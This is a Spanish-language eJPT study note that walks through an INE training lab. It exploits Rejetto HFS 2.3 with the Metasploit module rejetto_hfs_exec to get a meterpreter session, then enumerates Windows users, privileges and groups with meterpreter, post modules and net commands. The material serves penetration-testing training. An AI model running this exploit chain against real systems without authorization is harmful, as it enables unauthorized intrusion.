> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/post-explotacion/enumeracion-de-windows/enumeracion-de-usuarios-y-grupos-windows.md).

# Enumeración de usuarios y grupos - Windows

### 📌 Introducción

Tras obtener una **sesión inicial** en un sistema comprometido, es esencial identificar **qué usuarios existen en el sistema**, cuál es el **nivel de privilegios actual**, y quiénes forman parte de **grupos sensibles** como el de administradores locales.

Esta información es clave para **evaluar el nivel de acceso actual** y planificar los siguientes pasos, como la **escalada de privilegios** o la **movilidad lateral**.

***

### 🎯 ¿Qué información debemos recolectar?

* 👤 **Usuario actual** – ¿Qué cuenta estamos utilizando y qué permisos tiene?
* 🔐 **Privilegios del usuario actual** – ¿Es administrador, limitado o pertenece a algún grupo con privilegios especiales?
* 📄 **Información adicional del usuario** – Descripciones, rutas home, fechas de último login, etc.
* 👥 **Otros usuarios en el sistema** – Incluye usuarios locales y de dominio (en caso de redes empresariales).
* 🧑‍🤝‍🧑 **Grupos del sistema** – Especialmente los grupos con privilegios elevados.
* 🛡️ **Miembros del grupo de administradores locales** – Cuentas que tienen control total sobre el sistema.

***

### 🎯 ¿Por qué es importante?

* 📌 **Determina el nivel de acceso** que ya posees.
* 🧭 **Ayuda a identificar cuentas privilegiadas** potencialmente útiles para escalar privilegios.
* 🎯 **Permite priorizar objetivos** si existen múltiples usuarios o roles definidos.
* 🔓 **Detectar configuraciones inseguras** o usuarios con contraseñas por defecto.

***

## 🧪 Laboratorio Práctico

**Paso 1:** Abra el enlace del laboratorio para acceder a la máquina Kali.

<figure><img src="/files/yN4sex4zTpHL1698zwHz" alt=""><figcaption></figcaption></figure>

**Paso 2:** Verifique si la máquina de destino es accesible:

**Dominio:**

```
ping -c 4 demo.ine.local
```

<figure><img src="/files/jOsX3zJbWIDyZGKLkYjj" alt=""><figcaption></figcaption></figure>

El objetivo es alcanzable.

**Paso 3:** Escaneo de puertos con Nmap

Antes de que podamos comenzar a realizar la enumeración local, necesitaremos obtener acceso al sistema de destino.

Para empezar, necesitaremos identificar un servicio vulnerable que se esté ejecutando en el sistema de destino Windows, esto se puede hacer realizando un escaneo de detección de versión de servicio con Nmap.

**Dominio:**

```
nmap -sV demo.ine.local
```

Como se muestra en la siguiente captura de pantalla, el escaneo de Nmap revela que hay un servidor web ejecutándose en el puerto 80.

<figure><img src="/files/GjyW9hczZHnvpi7dlaCc" alt=""><figcaption></figcaption></figure>

**Paso 4:** Búsqueda de exploits con Searchsploit

El escaneo de Nmap reveló que el puerto 80 está ejecutando **Rejetto HTTP File Server 2.3** , podemos buscar exploits que afecten a esta versión de **Rejetto HTTP File Server** con una herramienta como Searchsploit ejecutando el siguiente comando:

**Dominio:**

```
searchsploit rejetto
```

Como se muestra en la siguiente captura de pantalla, Searchsploit revela que hay un módulo de explotación de Metasploit Framework que se puede utilizar para explotar esta versión específica del **servidor de archivos HTTP Rejetto** .

<figure><img src="/files/JR3m1JZ3wn7IjHxbSmYD" alt=""><figcaption></figcaption></figure>

**Paso 5:** Obtener acceso

Para utilizar este módulo de exploit, necesitaremos iniciar la Consola Metasploit Framework (msfconsole), esto se puede hacer ejecutando el siguiente comando:

**Dominio:**

```
msfconsole
```

Después de iniciar **msfconsole** , podemos cargar el módulo ejecutando el siguiente comando:

**Dominio:**

```
use exploit/windows/http/rejetto_hfs_exec
```

Ahora tendremos que configurar las opciones del módulo; más específicamente, establecer la dirección IP de destino. Esto se puede hacer ejecutando el siguiente comando:

**Dominio:**

```
set RHOSTS demo.ine.local
```

Después de configurar las opciones del módulo, podemos ejecutar el módulo de exploit ejecutando el siguiente comando:

**Dominio:**

```
exploit
```

Como se muestra en la siguiente captura de pantalla, el módulo de explotación se ejecuta con éxito y nos proporciona una sesión **de meterpreter** en el sistema de destino.

<figure><img src="/files/3OwjdME1bZPyiznzKf7W" alt=""><figcaption></figcaption></figure>

Ahora que hemos obtenido acceso al sistema de destino de Windows, podemos comenzar a enumerar la información de usuarios y grupos.

**Paso 6:** Enumeración de usuarios y grupos

Para empezar, podemos enumerar los usuarios actuales a los que tenemos acceso en el sistema de destino. Esto se puede hacer ejecutando el siguiente comando meterpreter:

**Dominio:**

```
getuid
```

Como se muestra en la siguiente captura de pantalla, el comando **getuid** revela que tenemos acceso al sistema de destino como usuario **Administrador** .

<figure><img src="/files/sx4VzfIKzhi6rMSIv7G1" alt=""><figcaption></figcaption></figure>

También podemos enumerar los privilegios de Windows que tiene el usuario **Administrador** ejecutando el siguiente comando meterpreter.

**Dominio:**

```
getprivs
```

<figure><img src="/files/PxX0YyhYiDuNqKTNc5aM" alt=""><figcaption></figcaption></figure>

Como se muestra en la captura de pantalla anterior, el comando **getprivs** revela que el usuario Administrador tiene privilegios elevados. Si bien esto puede parecer obvio, esta información es muy útil para comprobar si se ha obtenido acceso a un sistema de destino como usuario sin privilegios.

Otro dato importante a enumerar es consultar la lista de usuarios conectados. Esto se puede hacer mediante un módulo de Metasploit para postexplotación. Para usarlo, deberá poner su sesión actual de meterpreter en segundo plano ejecutando el siguiente comando:

**Dominio:**

```
background
```

Después de lo cual, podemos cargar el módulo ejecutando el siguiente comando:

**Dominio:**

```
use post/windows/gather/enum_logged_on_users
```

Dado que se trata de un módulo de postexplotación, la única opción que debemos cambiar es la opción **ID DE SESIÓN** . En este caso, nuestra sesión **de meterpreter** en el sistema de destino tiene un ID de **1** .

**Dominio:**

```
set SESSION 1
```

Luego podemos ejecutar el módulo ejecutando el siguiente comando:

**Dominio:**

```
run
```

<figure><img src="/files/3M5DZ7HpIX7wRuzdss77" alt=""><figcaption></figcaption></figure>

Como se muestra en la captura de pantalla anterior, este módulo muestra los usuarios conectados actualmente y los que lo hicieron anteriormente en el sistema de destino. Esta información le permitirá saber si hay otros usuarios utilizando el sistema de destino y qué usuarios han iniciado sesión con frecuencia.

También podemos enumerar manualmente los usuarios actuales a los que tenemos acceso a través de un indicador de shell nativo en el sistema Windows.

Necesitarás obtener acceso a la sesión de meterpreter que pusiste en segundo plano, esto se puede hacer ejecutando el siguiente comando:

**Dominio:**

```
sessions 1
```

<figure><img src="/files/FGhXJd6rBuHL8dtPke2u" alt=""><figcaption></figcaption></figure>

Luego necesitarás generar una sesión de shell en el sistema de destino, esto se puede hacer ejecutando el siguiente comando:

**Dominio:**

```
shell
```

Ahora podemos enumerar el usuario actual y los privilegios que tiene este usuario ejecutando los siguientes comandos:

**Dominio:**

```
whoami
```

<figure><img src="/files/13pzyxJxC1pIAaetQV7M" alt=""><figcaption></figcaption></figure>

**Dominio:**

```
whoami /priv
```

<figure><img src="/files/3sEwrXXnJtrvzfv23WRa" alt=""><figcaption></figcaption></figure>

Podemos obtener una lista de cuentas de usuario en el sistema ejecutando el siguiente comando:

**Dominio:**

```
net users
```

Como se muestra en la siguiente captura de pantalla, el sistema de destino solo tiene la cuenta **de administrador .**

<figure><img src="/files/LAfGRDVAzP1kZea7o2sb" alt=""><figcaption></figcaption></figure>

Podemos obtener más información sobre la cuenta de Administrador ejecutando el siguiente comando:

**Dominio:**

```
net user administrator
```

Como se muestra en la siguiente captura de pantalla, este comando le brindará una descripción detallada de la configuración de esta cuenta de usuario, como cuándo se cambió la contraseña de la cuenta o cuándo expira.

<figure><img src="/files/fAFWLCk09MYCOhed8DTq" alt=""><figcaption></figcaption></figure>

Ahora que hemos enumerado los usuarios en el sistema, también podemos enumerar los grupos en el sistema ejecutando el siguiente comando:

**Dominio:**

```
net localgroup
```

<figure><img src="/files/aD2j10Y9b8eYEml6ZgF4" alt=""><figcaption></figcaption></figure>

Como se muestra en la captura de pantalla anterior, esto muestra una lista de grupos en el sistema de destino.

También podemos ver los miembros de un grupo en particular, por ejemplo, si quisiéramos saber qué usuarios forman parte del grupo Administradores, podemos ejecutar el siguiente comando:

**Dominio:**

```
net localgroup administrators
```

Como se muestra en la siguiente captura de pantalla, esto revela que el único miembro del grupo de Administradores locales es la cuenta de usuario **Administrador .**

<figure><img src="/files/qm8XWTk0suvZdSn7eSYq" alt=""><figcaption></figcaption></figure>

Ahora tenemos una buena comprensión de cuántas cuentas de usuario existen en su sistema, los grupos presentes y los miembros de estos grupos.

#### Conclusión

En este laboratorio, exploramos el proceso de enumeración de los usuarios y grupos presentes en un sistema de destino Windows.
